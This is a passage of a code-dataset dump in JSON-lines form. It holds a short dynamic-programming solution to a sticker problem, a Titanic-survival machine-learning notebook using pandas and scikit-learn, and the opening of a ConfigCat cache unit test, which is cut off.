print(P)","repo_name":"leslieyip02/kattis","sub_path":"completed/inflation.py","file_name":"inflation.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38995223179","text":"# 경우를 나눠서 생각해볼 줄 알아야 함\ndef solution(sticker):\n if len(sticker) == 1:\n return sticker[0]\n \n dp1 = [0] * len(sticker)\n dp2 = [0] * len(sticker)\n\n #첫번째 스티커부터 떼어내는 경우\n dp1[0] = sticker[0]\n dp1[1] = dp1[0]\n for i in range(2, len(sticker) - 1):\n dp1[i] = max(dp1[i - 1], dp1[i - 2] + sticker[i])\n \n #두번째 스티커부터 떼어내는 경우\n dp2[0] = 0\n dp2[1] = sticker[1]\n for i in range(2, len(sticker)):\n dp2[i] = max(dp2[i - 1], dp2[i - 2] + sticker[i])\n \n return max(dp1[-2], dp2[-1])","repo_name":"soominnn/Algorithms","sub_path":"Programmers/스티커 모으기(2).py","file_name":"스티커 모으기(2).py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15689022895","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nget_ipython().magic(u'matplotlib inline')\n\nimport pandas as pd\nimport numpy as np\nimport warnings\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom collections import Counter\n\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\n\nfrom sklearn.model_selection import cross_val_score, StratifiedKFold, learning_curve, GridSearchCV\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import ExtraTreesClassifier\nfrom sklearn.ensemble import VotingClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom xgboost import XGBClassifier\n\nwarnings.filterwarnings(\"ignore\")\n\n\n# ## Loading data and checking the values\n\n# In[ ]:\n\n\ndf_titanic_train = pd.read_csv('../input/train.csv')\ndf_titanic_test = pd.read_csv('../input/test.csv')\nPassengerId = df_titanic_test[\"PassengerId\"]\n\n\n# Checking the outliers\n\n# In[ ]:\n\n\n# Outlier detection \n\ndef detect_outliers(df, n, features):\n \"\"\"\n Takes a dataframe df of features and returns a list of the indices\n corresponding to the observations containing more than n outliers according\n to the Tukey method.\n \"\"\"\n outlier_indices = []\n \n # iterate over features(columns)\n for col in features:\n # 1st quartile (25%)\n Q1 = np.percentile(df[col], 25)\n # 3rd quartile (75%)\n Q3 = np.percentile(df[col],75)\n # Interquartile range (IQR)\n IQR = Q3 - Q1\n \n # outlier step\n outlier_step = 1.5 * IQR\n \n # Determine a list of indices of outliers for feature col\n outlier_list_col = df[(df[col] < Q1 - outlier_step) | (df[col] > Q3 + outlier_step )].index\n \n # append the found outlier indices for col to the list of outlier indices \n outlier_indices.extend(outlier_list_col)\n \n # select observations containing more than 2 outliers\n outlier_indices = Counter(outlier_indices) \n multiple_outliers = list( k for k, v in outlier_indices.items() if v > n )\n \n return multiple_outliers \n\n# detect outliers from Age, SibSp, Parch and Fare\noutliers_to_drop = detect_outliers(df_titanic_train, 2, [\"Age\", \"SibSp\", \"Parch\", \"Fare\"])\n\n# Outliers\n\ndf_titanic_train.loc[outliers_to_drop]\n\n\n# In[ ]:\n\n\n# Drop outliers\n\ndf_titanic_train = df_titanic_train.drop(outliers_to_drop, axis = 0).reset_index(drop=True)\n\n\n# In[ ]:\n\n\n# Concatenate the two dataframes to minimize the bias and to have the same columns after feature engineering\n\ntrain_size = len(df_titanic_train)\ndf_titanic = pd.concat(objs=[df_titanic_train, df_titanic_test], axis=0).reset_index(drop=True)\ndf_titanic.head()\n\n\n# In[ ]:\n\n\n# Filling empty values with NaN and checking the null values\n\ndf_titanic = df_titanic.fillna(np.nan)\n\n# Survived will not be considered because the empty values are from test dataset\n\ndf_titanic.isnull().sum()\n\n\n# In[ ]:\n\n\ndef absolute_relative_freq(variable):\n absolute_frequency = variable.value_counts()\n relative_frequency = round(variable.value_counts(normalize = True)*100, 2) \n df = pd.DataFrame({'Absolute Frequency':absolute_frequency, 'Relative Frequency(%)':relative_frequency})\n print('Absolute and Relative Frequency of [',variable.name,']')\n display(df)\n\n\n# ## Analysing the features (columns) and filling up the NaN values\n\n# In[ ]:\n\n\n# Get some conclusion about the correlation among 'Survived' and SibSp, Parch, Age and Fare.\n\nfig, ax = plt.subplots(figsize=(12,8))\ng = sns.heatmap(\n df_titanic[[\"Survived\", \"SibSp\", \"Age\", \"Parch\", \"Fare\"]].corr(),\n annot=True, \n fmt = \".3f\", \n cmap = \"Greens\",\n ax=ax)\n\n\n# Fare has a low correlation with Survived, but if we compare to the others features, this is more relevant.\n\n# In[ ]:\n\n\n# View the proportion between SibSp and Survived\n\ng = sns.factorplot(x=\"SibSp\", \n y=\"Survived\", \n data=df_titanic, \n kind=\"bar\", \n size=5, \n palette = \"Greens\")\n\ng = g.set_ylabels(\"Survived\")\n\n\n# Passengers with many siblings/spouses have less chances to survive (more than 2). Passengers that are alone or with 1 or 2 siblings/spouses have more chances to survive.\n\n# In[ ]:\n\n\n# View the distribution of Age\n\ng = sns.FacetGrid(df_titanic, \n col='Survived',\n aspect=2)\n\ng = g.map(sns.distplot, \"Age\", \n bins=20, \n color='g', \n hist_kws=dict(edgecolor=\"w\", linewidth=1))\n\n\n# Younger passengers had more chance to survive and older ones had less chances to get saved. Passengers that are between 20 and 40 sometimes had chances to survive or not.\n\n# In[ ]:\n\n\n# View the proportion between Parch and Survived\n\ng = sns.factorplot(x=\"Parch\", \n y=\"Survived\", \n data=df_titanic, \n kind=\"bar\", \n size=5, \n palette = \"Greens\")\n\ng = g.set_ylabels(\"Survived\")\n\n\n# Passengers with 1 or 2 parents/children had more chances to survive. Passengers with 3 parents/children had good chances to survive in this dataset, but we can see a large variance.\n\n# In[ ]:\n\n\n# Filling with the median the only one Fare equals to NaN\n\ndf_titanic['Fare'] = df_titanic['Fare'].fillna(df_titanic['Fare'].median())\n\n\n# In[ ]:\n\n\n# Viewing the Fare distribution\n \nfig, ax = plt.subplots(figsize=(7,5))\ng = sns.distplot(df_titanic[\"Fare\"], \n color=\"g\", \n label=\"Skewness : %.3f\"%(df_titanic[\"Fare\"].skew()), \n hist_kws=dict(edgecolor=\"w\", linewidth=1),\n ax=ax)\n \ng = g.legend(loc=\"best\")\n\n\n# Fare distribution is very skewed to the right. Let's use the log function to minimize this skewness.\n\n# In[ ]:\n\n\ndf_titanic[\"Fare\"] = df_titanic[\"Fare\"].map(lambda i: np.log(i) if i > 0 else 0)\n\n\n# In[ ]:\n\n\n# Viewing the Fare distribution after applying log function\n \nfig, ax = plt.subplots(figsize=(7,5))\ng = sns.distplot(df_titanic[\"Fare\"], \n color=\"g\", \n label=\"Skewness : %.3f\"%(df_titanic[\"Fare\"].skew()), \n hist_kws=dict(edgecolor=\"w\", linewidth=1),\n ax=ax)\n \ng = g.legend(loc=\"best\")\n\n\n# In[ ]:\n\n\n# View the proportion between Sex and Survived\n\ng = sns.barplot(x=\"Sex\", y=\"Survived\",data=df_titanic, palette='cool')\ng = g.set_ylabel(\"Survived\")\n\n\n# In[ ]:\n\n\nabsolute_relative_freq(df_titanic['Sex'])\n\n\n# In[ ]:\n\n\n# View the relationship between Sex and Age\n\ng = sns.factorplot(x=\"Sex\", \n y=\"Age\", \n data=df_titanic, \n kind=\"box\", \n size=5, \n palette = \"cool\")\n\ng = g.set_ylabels(\"Survived\")\n\n\n# According to the first plot, women had more chances than men to survive. There is a very irrelevant difference between the median age of men and women (approximately the same value).\n\n# In[ ]:\n\n\n# View the proportion between Pclass, Sex and Survived\n\ng = sns.factorplot(x=\"Pclass\", \n y=\"Survived\", \n data=df_titanic,\n hue='Sex',\n kind=\"bar\", \n size=5, \n palette = \"cool\")\n\ng = g.set_ylabels(\"Survived\")\n\n\n# Passengers in the first class had more chances to survive, following by second class and third one. Again, women had more chances to survive in the 3 classes.\n\n# In[ ]:\n\n\nabsolute_relative_freq(df_titanic['Pclass'])\n\n\n# In[ ]:\n\n\ndf_titanic['Embarked'].value_counts()\n\n\n# In[ ]:\n\n\n# View the proportion between Embarked and Survived\n\n# Filling the NaN value with 'S' (more frequent city)\n\ndf_titanic['Embarked'].fillna('S', inplace=True)\n\ng = sns.barplot(x=\"Embarked\", y=\"Survived\",data=df_titanic, palette='Greens')\ng = g.set_ylabel(\"Survived\")\n\n\n# Passengers that embarked in Cherbourg had more chances to survive than the other.\n\n# In[ ]:\n\n\nabsolute_relative_freq(df_titanic['Embarked'])\n\n\n# In[ ]:\n\n\n# View the proportion between Embarked, Sex and Survived\n\ng = sns.factorplot(x=\"Embarked\", \n y=\"Survived\", \n data=df_titanic,\n hue='Sex',\n kind=\"bar\", \n size=5, \n palette = \"cool\")\n\ng = g.set_ylabels(\"Survived\")\n\n\n# In[ ]:\n\n\n# View the proportion between Embarked, Age less than 10 and Survived\n\ng = sns.factorplot(x=\"Embarked\", \n y=\"Survived\", \n data=df_titanic[df_titanic['Age'] < 10] ,\n kind=\"bar\", \n size=5, \n palette = \"Greens\")\n\ng = g.set_ylabels(\"Survived\")\n\n\n# As we saw previously, younger passengers have more chances to survive. Those kids that embarked in Chesbourg (mainly) and Southampton had good chances to survive. Chesbourg had more women and kids, so we can explain many survivors from there. Let's see the proportion with Pclass.\n\n# In[ ]:\n\n\n# View the proportion between Pclass and Embarked\n\ng = sns.factorplot(\"Pclass\",\n col=\"Embarked\",\n data=df_titanic,\n size=5, \n kind=\"count\", \n palette=\"Greens\")\n\ng = g.set_ylabels(\"Count\")\n\n\n# In[ ]:\n\n\nlabelEncoder = LabelEncoder()\ndf_titanic['Embarked'] = labelEncoder.fit_transform(df_titanic['Embarked'])\n\n\n# Chesbourg had more passengers in first class compared to second and third one. Good explanation to have more survivors. And Southampton had a large number of passengers in third class explaining less survivors if we compared to the other cities.\n\n# We still have some rows with NaN Age.Let's try to figure out one correlation among Age and other columns.\n\n# In[ ]:\n\n\ndf_titanic['Age'].isnull().sum()\n\n\n# In[ ]:\n\n\nlabelEncoder = LabelEncoder()\ndf_titanic['Sex'] = labelEncoder.fit_transform(df_titanic['Sex'])\n\n\n# In[ ]:\n\n\nfig, ax = plt.subplots(figsize=(12,8))\ng = sns.heatmap(\n df_titanic[[\"Age\", \"SibSp\", \"Parch\", \"Pclass\", \"Sex\"]].corr(),\n annot=True, \n fmt = \".3f\", \n cmap = \"Greens\",\n ax=ax)\n\n\n# As we got in the boxplot some cells behind, Age has a very small correlation with Sex (median age is practically the same). Pclass, SibSp and Parch have better correlations with Sex respectively. The rows with Age equals to NaN will be filled by the median value of similar rows (the same Pclass and SibSp) - two more correlated with Age.\n\n# In[ ]:\n\n\ndf_titanic['Age'].isnull().sum()\n\n\n# In[ ]:\n\n\n# Rows with Age equals to NaN\n\ncondition = df_titanic['Age'].isnull()\nage_NaN = df_titanic['Age'][condition].index\n\nfor age in age_NaN :\n \n # Conditions\n \n condition1 = df_titanic['SibSp'] == df_titanic.iloc[age][\"SibSp\"]\n condition2 = df_titanic['Pclass'] == df_titanic.iloc[age][\"Pclass\"]\n condition3 = df_titanic['Parch'] == df_titanic.iloc[age][\"Parch\"]\n condition = condition1 & condition2 & condition3\n \n new_age = df_titanic['Age'][condition].median()\n df_titanic['Age'].iloc[age] = new_age if not np.isnan(new_age) else df_titanic['Age'].median()\n\n\n# In[ ]:\n\n\ndf_titanic['Age'].isnull().sum()\n\n\n# In[ ]:\n\n\ndf_titanic['Age'] = (df_titanic['Age'] - df_titanic['Age'].mean()) / df_titanic['Age'].std()\n\n\n# In[ ]:\n\n\n# Viewing the Age distribution\n \nfig, ax = plt.subplots(figsize=(7,5))\ng = sns.distplot(df_titanic[\"Age\"], \n color=\"g\", \n label=\"Skewness : %.3f\"%(df_titanic[\"Age\"].skew()), \n hist_kws=dict(edgecolor=\"w\", linewidth=1),\n ax=ax)\n \ng = g.legend(loc=\"best\")\n\n\n# ## Creating and adjusting features\n\n# Titles and Surnames\n\n# In[ ]:\n\n\ndf_titanic['Name'].head()\n\n\n# In[ ]:\n\n\n# Getting the titles from Name feature\n\ndf_titanic['Title'] = df_titanic['Name'].str.extract(' ([A-Za-z]+)\\.', expand=False)\ndf_titanic['Title'].unique()\n\n\n# In[ ]:\n\n\n# Replace the values to new categories and converting the new feature to numeric\n\ndf_titanic['Title'] = df_titanic['Title'].replace(['Don', 'Rev', 'Dr', 'Major', 'Lady', 'Sir', \n 'Col', 'Capt', 'Countess', 'Jonkheer', 'Dona'], 'Rare')\n\n\n# In[ ]:\n\n\n# View the proportion between Title and Survived\n\ng = sns.factorplot(x=\"Title\", \n y=\"Survived\", \n data=df_titanic,\n kind=\"bar\", \n size=5)\n\ng = g.set_ylabels(\"Survived\")\n\n\n# Again we can see that women had more chances to survive. Rare titles had more chances than Mister and less than Master.\n\n# In[ ]:\n\n\nabsolute_relative_freq(df_titanic['Title'])\n\n\n# In[ ]:\n\n\ndf_titanic[\"Title\"] = df_titanic['Title'].map({\"Master\":0, \"Miss\":1, \"Ms\" : 1, \"Mme\":1, \n \"Mlle\":1, \"Mrs\":1, \"Mr\":2, \"Rare\":3})\n\ndf_titanic['Title'] = df_titanic[\"Title\"].astype(int)\n\n\n# In[ ]:\n\n\n# Creating a column with the Surname\n\ndf_titanic['Surname'] = df_titanic['Name'].map(lambda i: i.split(',')[0])\n\n\n# In[ ]:\n\n\n# Deleting Name\n\ndel df_titanic['Name']\n\n\n# Cabin\n\n# In[ ]:\n\n\ndf_titanic['Cabin'].isnull().sum()\n\n\n# In[ ]:\n\n\ndf_titanic['Cabin'].unique()\n\n\n# All cabins start with a letter, so let's simplyfing their values.\n\n# In[ ]:\n\n\ndf_titanic['Cabin'] = df_titanic['Cabin'].map(lambda i: i[0] if not pd.isnull(i) else 'Z')\ndf_titanic['Cabin'].unique()\n\n\n# In[ ]:\n\n\n# View the proportion between Cabin and Survived\n\ng = sns.factorplot(x=\"Cabin\", \n y=\"Survived\", \n data=df_titanic,\n kind=\"bar\", \n size=5, \n order=['A','B','C','D','E','F','G','T','Z'])\n\ng = g.set_ylabels(\"Survived\")\n\n\n# Passengers with no cabin had less chances to survive.\n\n# In[ ]:\n\n\nabsolute_relative_freq(df_titanic['Cabin'])\n\n\n# Tickets\n\n# In[ ]:\n\n\ndf_titanic['Ticket'].unique()\n\n\n# In[ ]:\n\n\n# Getting the first information of the ticket\n\ndf_titanic['Ticket'] = df_titanic['Ticket'].map(\n lambda i: i.replace(\".\",\"\").replace(\"/\",\"\").strip().split(' ')[0] if not i.isdigit() else \"TKT\")\n\n\n# In[ ]:\n\n\ndf_titanic['Ticket'].unique()\n\n\n# Family (SibSp, Parch)\n\n# In[ ]:\n\n\ndf_titanic['Family'] = df_titanic['SibSp'] + df_titanic['Parch'] + 1\n\n\n# In[ ]:\n\n\ndf_titanic['Family'].unique()\n\n\n# In[ ]:\n\n\n# Creating new features: \n# 1: Alone\n# 2: Small family\n# 3 to 4: Medium family\n# larger than 5: Large family\n\ndf_titanic['Alone'] = df_titanic['Family'].map(lambda i: 1 if i == 1 else 0)\ndf_titanic['Small'] = df_titanic['Family'].map(lambda i: 1 if i == 2 else 0)\ndf_titanic['Medium'] = df_titanic['Family'].map(lambda i: 1 if 3 <= i <= 4 else 0)\ndf_titanic['Large'] = df_titanic['Family'].map(lambda i: 1 if i >= 5 else 0)\n\n\n# Creating dummies features\n\n# In[ ]:\n\n\ndf_titanic.head()\n\n\n# In[ ]:\n\n\n# df_titanic['Title'] = df_titanic['Title'].astype(\"category\")\ndf_titanic['Pclass'] = df_titanic['Pclass'].astype(\"category\")\n\n# Creating dummies...\n\ncolumns = ['Title', 'Surname', 'Cabin', 'Ticket', 'Pclass']\nfor col in columns:\n df_titanic = pd.get_dummies(df_titanic, columns=[col], prefix=col)\n\n\n# In[ ]:\n\n\ndf_titanic.drop(labels = [\"PassengerId\"], axis = 1, inplace = True)\n\n\n# In[ ]:\n\n\ndf_titanic.head()\n\n\n# ## Creating and testing the models\n\n# In[ ]:\n\n\ndf_titanic_train = df_titanic[:train_size]\ndf_titanic_test = df_titanic[train_size:]\n\ndf_titanic_train['Survived'] = df_titanic_train['Survived'].astype(int)\ndel df_titanic_test['Survived']\n\n\n# In[ ]:\n\n\nX_train = df_titanic_train.drop(['Survived'], axis=1)\ny_train = df_titanic_train['Survived']\nX_test = df_titanic_test\n\nsc = StandardScaler()\nsc.fit(X_train)\nX_train = sc.transform(X_train)\nX_test = sc.transform(X_test)\n\n\n# In[ ]:\n\n\nprint(X_train.shape)\nprint(X_test.shape)\n\n\n# In[ ]:\n\n\n# Validation of the model with Kfold stratified splitting the data into 10 parts\n\nkfold = StratifiedKFold(n_splits=10)\n\nseed = 20\n\n# List of classifiers to test\n\nclfs = []\nclfs.append(SVC(random_state=seed))\nclfs.append(DecisionTreeClassifier(random_state=seed))\nclfs.append(RandomForestClassifier(random_state=seed))\nclfs.append(ExtraTreesClassifier(random_state=seed))\nclfs.append(GradientBoostingClassifier(random_state=seed))\nclfs.append(MLPClassifier(random_state=seed))\nclfs.append(KNeighborsClassifier())\nclfs.append(LogisticRegression(random_state=seed))\nclfs.append(XGBClassifier(random_state = seed))\n\n\n# In[ ]:\n\n\n# Getting all results from 10 validations for each classifier\n\nclf_results = []\nfor clf in clfs :\n clf_results.append(cross_val_score(clf, X_train, y=y_train, scoring = \"accuracy\", cv=kfold, n_jobs=1))\n\n\n# In[ ]:\n\n\n# Getting the mean and standard deviation from each classifier's result after 10 validations\n\nclf_means = []\nclf_std = []\nfor clf_result in clf_results:\n clf_means.append(clf_result.mean())\n clf_std.append(clf_result.std())\n\n\n# In[ ]:\n\n\n# Let's see which are the best scores\n\ndf_result = pd.DataFrame({\"Means\":clf_means, \n \"Stds\": clf_std, \n \"Algorithm\":[\"SVC\", \n \"DecisionTree\", \n \"RandomForest\",\n \"ExtraTrees\",\n \"GradientBoosting\",\n \"MLPClassifier\",\n \"KNeighboors\",\n \"LogisticRegression\", \n \"XGBoost\"]})\n\ndf_result.sort_values(by=['Means'], ascending=False)\n\n\n# In[ ]:\n\n\n# Plotting learning curves of the algorithms\n#------------------------------------------------------------------------------------------------\n# Code from http://scikit-learn.org/stable/auto_examples/model_selection/plot_learning_curve.html\n#------------------------------------------------------------------------------------------------\n\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,\n n_jobs=1, train_sizes=np.linspace(.1, 1.0, 20)):\n \"\"\"\n Generate a simple plot of the test and training learning curve.\n\n Parameters\n ----------\n estimator : object type that implements the \"fit\" and \"predict\" methods\n An object of that type which is cloned for each validation.\n\n title : string\n Title for the chart.\n\n X : array-like, shape (n_samples, n_features)\n Training vector, where n_samples is the number of samples and\n n_features is the number of features.\n\n y : array-like, shape (n_samples) or (n_samples, n_features), optional\n Target relative to X for classification or regression;\n None for unsupervised learning.\n\n ylim : tuple, shape (ymin, ymax), optional\n Defines minimum and maximum yvalues plotted.\n\n cv : int, cross-validation generator or an iterable, optional\n Determines the cross-validation splitting strategy.\n Possible inputs for cv are:\n - None, to use the default 3-fold cross-validation,\n - integer, to specify the number of folds.\n - An object to be used as a cross-validation generator.\n - An iterable yielding train/test splits.\n\n For integer/None inputs, if ``y`` is binary or multiclass,\n :class:`StratifiedKFold` used. If the estimator is not a classifier\n or if ``y`` is neither binary nor multiclass, :class:`KFold` is used.\n\n Refer :ref:`User Guide ` for the various\n cross-validators that can be used here.\n\n n_jobs : integer, optional\n Number of jobs to run in parallel (default 1).\n \"\"\"\n \n plt.figure()\n plt.title(title)\n if ylim is not None:\n plt.ylim(*ylim)\n plt.xlabel(\"Training examples\")\n plt.ylabel(\"Score\")\n train_sizes, train_scores, test_scores = learning_curve(\n estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n plt.grid()\n\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation score\")\n\n plt.legend(loc=\"best\")\n return plt\n\n\n# In[ ]:\n\n\n# Logistic Regression, XGBoost, Gradient Boosting, Random Forest, Extra Trees\n\nextraTrees = ExtraTreesClassifier(random_state=seed)\ngBoosting = GradientBoostingClassifier(random_state=seed)\nrandomForest = RandomForestClassifier(random_state=seed)\nlogReg = LogisticRegression(random_state=seed)\nxgbc = XGBClassifier(random_state=seed)\n\n\n# In[ ]:\n\n\nclfs = []\nclfs.append(extraTrees)\nclfs.append(gBoosting)\nclfs.append(randomForest)\nclfs.append(logReg)\nclfs.append(xgbc)\n\ntitles = ['Learning Curves (Extra Tree)', 'Learning Curves (Gradient Boosting)',\n 'Learning Curves (Random Forest)', 'Learning Curves (Logistic Regression)',\n 'Learning Curves (XGBoost)']\n\nfor clf, title in zip(clfs, titles):\n plot_learning_curve(clf, title, X_train, y_train, ylim=(0.7, 1.01), cv=kfold, n_jobs=1);\n\n\n# Getting the best parameters for classifiers.\n\n# In[ ]:\n\n\n## Search grid for optimal parameters (Extra Trees)\n\nparam_grid = {\"max_depth\": [None],\n \"max_features\": [1, 3, 10],\n \"min_samples_split\": [2, 3, 10],\n \"min_samples_leaf\": [1, 3, 10],\n \"bootstrap\": [False],\n \"n_estimators\" :[100,300],\n \"criterion\": [\"gini\"]}\n\n\ngrid_result = GridSearchCV(extraTrees,\n param_grid = param_grid, \n cv=kfold, \n scoring=\"accuracy\", \n n_jobs= -1, \n verbose = 1)\n\ngrid_result.fit(X_train,y_train)\n\nextraTrees_best_result = grid_result.best_estimator_\n\n# Best score\nprint('Best score:', np.round(grid_result.best_score_*100, 2))\n\n# Best estimator\nprint('Best estimator:', extraTrees_best_result)\n\n\n# In[ ]:\n\n\n## Search grid for optimal parameters (Gradient Boosting)\n\nparam_grid = {'learning_rate': [0.01, 0.02],\n 'max_depth': [4, 5, 6],\n 'max_features': [0.2, 0.3, 0.4], \n 'min_samples_split': [2, 3, 4],\n 'random_state':[seed]}\n\ngrid_result = GridSearchCV(gBoosting, \n param_grid=param_grid, \n cv=kfold, \n scoring=\"accuracy\", \n n_jobs=-1,\n verbose=1)\n\ngrid_result.fit(X_train, y_train)\n\ngBoosting_best_result = grid_result.best_estimator_\n\n# Best score\nprint('Best score:', np.round(grid_result.best_score_*100, 2))\n\n# Best estimator\nprint('Best estimator:', gBoosting_best_result)\n\n\n# In[ ]:\n\n\n## Search grid for optimal parameters (Random Forest)\n\nparam_grid = {\"max_depth\": [None],\n \"max_features\": [1, 2],\n \"min_samples_split\": [2, 3, 10],\n \"min_samples_leaf\": [1, 3, 10],\n \"bootstrap\": [False],\n \"n_estimators\" :[100,300],\n \"criterion\": [\"gini\"]}\n\ngrid_result = GridSearchCV(randomForest, \n param_grid=param_grid, \n cv=kfold, \n scoring=\"accuracy\", \n n_jobs= -1,\n verbose = 1)\n\ngrid_result.fit(X_train, y_train)\n\nrandomForest_best_result = grid_result.best_estimator_\n\n# Best score\nprint('Best score:', np.round(grid_result.best_score_*100, 2))\n\n# Best estimator\nprint('Best estimator:', randomForest_best_result)\n\n\n# In[ ]:\n\n\n## Search grid for optimal parameters (Logistic Regression)\n\nparam_grid = {'penalty' : ['l1', 'l2'],\n 'C': np.logspace(0, 4, 10),\n 'solver' : ['liblinear', 'saga']\n }\n\ngrid_result = GridSearchCV(logReg, \n param_grid=param_grid, \n cv=kfold, \n scoring=\"accuracy\", \n n_jobs= -1,\n verbose = 1)\n\ngrid_result.fit(X_train, y_train)\n\nlogReg_best_result = grid_result.best_estimator_\n\n# Best score\nprint('Best score:', np.round(grid_result.best_score_*100, 2))\n\n# Best estimator\nprint('Best estimator:', logReg_best_result)\n\n\n# In[ ]:\n\n\n## Search grid for optimal parameters (XGBoost)\n\nparam_grid = {'n_estimators': [275, 280],\n 'learning_rate': [0.01, 0.03],\n 'subsample': [0.9, 1],\n 'max_depth': [3, 4],\n 'colsample_bytree': [0.8, 0.9],\n 'min_child_weight': [2, 3],\n 'random_state':[seed]}\n\ngrid_result = GridSearchCV(xgbc, \n param_grid=param_grid, \n cv=kfold, \n scoring=\"accuracy\", \n n_jobs= -1,\n verbose = 1)\n\ngrid_result.fit(X_train, y_train)\n\nxgbc_best_result = grid_result.best_estimator_\n\n# Best score\nprint('Best score:', np.round(grid_result.best_score_*100, 2))\n\n# Best estimator\nprint('Best estimator:', xgbc_best_result)\n\n\n# ## Retrain models and check precision, recall, specificity and F1 Score\n\n# In[ ]:\n\n\n# List of classifiers to retrain\n\nclfs = []\nclfs.append(extraTrees_best_result)\nclfs.append(gBoosting_best_result)\nclfs.append(randomForest_best_result)\nclfs.append(logReg_best_result)\nclfs.append(xgbc_best_result)\n\n# Getting all results from 10 validations for each classifier\n\nclf_results = []\nfor clf in clfs :\n clf_results.append(cross_val_score(clf, X_train, y=y_train, scoring = \"accuracy\", cv=kfold, n_jobs=1))\n\n# Getting the mean and standard deviation from each classifier's result after 10 validations\n\nclf_means = []\nclf_std = []\nfor clf_result in clf_results:\n clf_means.append(clf_result.mean())\n clf_std.append(clf_result.std())\n\n# Let's see which are the best scores\n\ndf_result = pd.DataFrame({\"Means\":clf_means, \n \"Stds\": clf_std, \n \"Algorithm\":[\"Extra Trees\",\n \"GradientBoosting\",\n \"Random Forest\",\n \"LogisticRegression\", \n \"XGBoost\"]})\n\ndf_result.sort_values(by=['Means'], ascending=False)\n\n\n# In[ ]:\n\n\ntitles = ['Learning Curves (Extra Tree)', 'Learning Curves (Gradient Boosting)',\n 'Learning Curves (Random Forest)', 'Learning Curves (Logistic Regression)',\n 'Learning Curves (XGBoost)']\n\nfor clf, title in zip(clfs, titles):\n plot_learning_curve(clf, title, X_train, y_train, ylim=(0.7, 1.01), cv=kfold, n_jobs=1);\n\n\n# In[ ]:\n\n\nsurvived_ET = pd.Series(extraTrees_best_result.predict(X_test), name=\"ET\")\nsurvived_GB = pd.Series(gBoosting_best_result.predict(X_test), name=\"GB\")\nsurvived_RF = pd.Series(randomForest_best_result.predict(X_test), name=\"RF\")\nsurvived_LR = pd.Series(logReg_best_result.predict(X_test), name=\"LR\")\nsurvived_XB = pd.Series(xgbc_best_result.predict(X_test), name=\"XB\")\n\n# Concatenate all classifiers results\nensemble_results = pd.concat([survived_ET,\n survived_GB,\n survived_RF,\n survived_LR,\n survived_XB],\n axis=1)\n\nfig, ax = plt.subplots(figsize=(12,8))\ng= sns.heatmap(ensemble_results.corr(),\n annot=True, \n fmt = \".3f\", \n cmap = \"Greens\",\n ax=ax)\n\n\n# According to previous plots, Decision Tree, Random Forest, and Extra Trees algothims overfitted the training data during validation. Logistic Regression and Gradient Boosting showed better generalization because training and test curves are close together.\n\n# In[ ]:\n\n\n# Using voting soft (XB, GB, RF, LR, and ET)\n\nvoting = VotingClassifier(estimators=[('XB', xgbc_best_result), \n ('GB', gBoosting_best_result),\n ('RF', randomForest_best_result),\n ('LR', logReg_best_result),\n ('ET', extraTrees_best_result)],\n voting='soft', n_jobs=-1)\nvoting.fit(X_train, y_train)\n\n\n# In[ ]:\n\n\nprint(\"Score (Voting): \" + str(voting.score(X_train, y_train)))\n\n\n# In[ ]:\n\n\n# Predicting survivors\n\ny_predict = voting.predict(X_test)\n\n\n# In[ ]:\n\n\nsolution = pd.DataFrame({\n \"PassengerId\": PassengerId,\n \"Survived\": y_predict.astype(int)\n })\n\nsolution.to_csv('solution_final_v1.csv', index=False)\ndf_solution = pd.read_csv('solution_final_v1.csv')\n\n\n# In[ ]:\n\n\nabsolute_relative_freq(df_solution['Survived'])\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"nischalshrestha/automatic_wat_discovery","sub_path":"Notebooks/py/acaciopassos/titanic-survivors-prediction/titanic-survivors-prediction.py","file_name":"titanic-survivors-prediction.py","file_ext":"py","file_size_in_byte":30144,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"41836363645","text":"import json\nimport logging\nimport unittest\n\nfrom configcatclient import ConfigCatClient, ConfigCatOptions, PollingMode\nfrom configcatclient.configcache import InMemoryConfigCache\nfrom configcatclient.configcatoptions import Hooks\nfrom configcatclient.configentry import ConfigEntry\nfrom configcatclient.configservice import ConfigService\nfrom configcatclient.utils import get_utc_now_seconds_since_epoch\nfrom configcatclienttests.mocks import TEST_JSON, SingleValueConfigCache, HookCallbacks, TEST_JSON_FORMAT\n\nlogging.basicConfig()\n\n\nclass ConfigCacheTests(unittest.TestCase):\n\n def test_cache(self):\n config_store = InMemoryConfigCache()\n\n value = config_store.get('key')\n self.assertEqual(value, None)\n\n config_store.set('key', TEST_JSON)\n value = config_store.get('key')\n self.assertEqual(value, TEST_JSON)\n\n value2 = config_store.get('key2')\n self.assertEqual(value2, None)\n\n def test_cache_key(self):\n self.assertEqual(\"147c5b4c2b2d7c77e1605b1a4309f0ea6684a0c6\", ConfigService._get_cache_key('test1'))\n self.assertEqual(\"c09513b1756de9e4bc48815ec7a142b2441ed4d5\", ConfigService._get_cache_key('test2'))\n\n def 